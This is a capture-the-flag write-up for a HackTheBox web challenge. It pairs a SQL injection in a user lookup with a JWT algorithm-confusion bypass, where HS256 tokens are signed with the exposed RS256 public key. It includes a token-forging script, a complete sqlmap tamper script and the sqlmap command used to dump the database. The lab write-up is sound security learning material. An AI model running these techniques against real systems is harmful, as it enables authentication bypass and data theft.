This is quite simple medium challenges on hackthebox, you just need some basci about Json Web Token. Let’s start
Source Analysis
This challenges come with an source that make it very easy for us to enumerate where to exploit. At the first glance use can see there is a vulnerable inside the DBHelper.js
getUser(username){
return new Promise((res, rej) => {
db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
if (err) return rej(err);
res(data);
});
});
},
It is very clear that is vulnerable with SQLi
cause the user input is concated directly to the query without santize, we can exploit exploit this with very simple UNION attack. Now we need to find out where to inject our input. At the routes/index.js
, you can see here this funcion is being called
router.get('/', AuthMiddleware, async (req, res, next) => {
try{
let user = await DBHelper.getUser(req.data.username);
if (user === undefined) {
return res.send(`user ${req.data.username} doesn't exist in our database.`);
}
return res.render('index.html', { user });
}catch (err){
return next(err);
}
});
Notice that it using middleware, so that our req.data.username
must go through that middleware first. Looking inside the middleware/AuthMiddelware.js
, we can see this get our data through a JWT token store insided the cookie. So when look closer at the file helpers/JWTHelper.js
, we can see this block of code
module.exports = {
async sign(data) {
data = Object.assign(data, {pk:publicKey});
return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
},
async decode(token) {
return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}
}
This one use asymetric encrypt for the hash o jwt code so if we don’t have the secret key so you can’t modified the jwt token. So now i try to create an account and look how our jwt token looklike
Notice it exposing to us the public key. After a while of research, I found this (article). The vulnerability lie over here
return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
If we change the header of the JWT token to {"alg": "HS256","typ": "JWT"}
instead of RS256
. That mean our publickey is now the secret for the algorithms HS256
and we already know the value of the public key cause is in our jwt token. So now we got the secret key and now we can modify the JWT token. So I crap a simple js code to generate the token to test
const jwt = require('jsonwebtoken');
publicKey = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
data = {
username: "is we hacked?"
}
data = Object.assign(data, {pk:publicKey})
token = jwt.sign(data, publicKey, { algorithm: 'HS256' })
console.log("\n\n" + token + "\n\n")
And we got this reponse
So we find the way to exploit. Let’s exploit it
Exploit
Personally, I don’t like to exploit manual, so i try to firgue out the way to use sqlmap. After a while of searching, I found that we can use --tamper
in sqlmap to customly encoded the payload. So base one this (article), I wrote some python script to encoded payload with our jwt token
#!/usr/bin/env python3
import logging
import json
import hmac
from base64 import b64encode, b64decode
from lib.core.enums import PRIORITY
"""
Tamper script that encodes the sqlmap payload in the JWT payload
and re-signs the JWT with the public key.
"""
# Define which is the order of application of tamper scripts against the payload
__priority__ = PRIORITY.NORMAL
# output using the sqlmap internal logger
log2 = logging.getLogger("sqlmapLog")
# hard coded public key taken from the original JWT
public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
iat = 1629623711 # remember to change this
def create_signed_token(key, data):
"""
Creates a complete JWT token with 'data' as the JWT payload.
Exclusively uses sha256 HMAC.
"""
# create base64 header
header = json.dumps({"typ":"JWT","alg":"HS256"}).encode()
b64header = b64encode(header).rstrip(b'=')
# create base64 payload
payload = json.dumps(data).encode()
b64payload = b64encode(payload).rstrip(b'=')
# put the header and payload together
hdata = b64header + b'.' + b64payload
# create the signature
verifySig = hmac.new(key, msg=hdata, digestmod='sha256')
verifySig = b64encode(verifySig.digest())
verifySig = verifySig.replace(b'/', b'_').replace(b'+', b'-').strip(b'=')
# put the header, payload and signature together
token = hdata + b'.' + verifySig
return token
def craftExploit(payload):
pk = public_key.encode()
# put the sqlmap payload in the data
data = {"username": payload, "pk": public_key, "iat": iat}
log2.info(json.dumps(data, separators=(',',':')))
token = create_signed_token(pk, data)
return token.decode('utf-8')
def tamper(payload, **kwargs):
"""
This is the entry point for the script. sqlmap calls tamper() for every payload.
Encodes the sqlmap payload in the JWT payload
and re-signs the JWT with the public key.
"""
# create a new payload jwt token re-signed with HS256
retVal = craftExploit(payload)
#log2.info(json.dumps({"payload": payload}))
# return the tampered payload
return retVal
Remember to change to change the value of iat
to your current epoch time. After that, I place it inside the folder test
and touch an empty file /test/__init__.py
inside it (based on the document of sqlmap we must do this to run our module). After that, I capture the request on BurpSuite and run sqlmap with it
sqlmap -r ../capture --cookie "session=*" --dbms sqlite3 --level=3 --risk 3 --tamper=test/tamper.py --tables
Let’s explain this a litte bit
cookie "session=*"
: config the cookie take the payload into*
position--level 3 --risk 3
: Our payload is place inside a cookie so we must increse the level--tamper test/tamper.py
: Use my custom tamper script
So after we run will can recieve the tables name
[3 tables]
+-----------------+
| xxxxxxxxxxxx |
| sqlite_sequence |
| users |
+-----------------+
Reading the first table, you can see the flag in there.
Thanks for reading. The end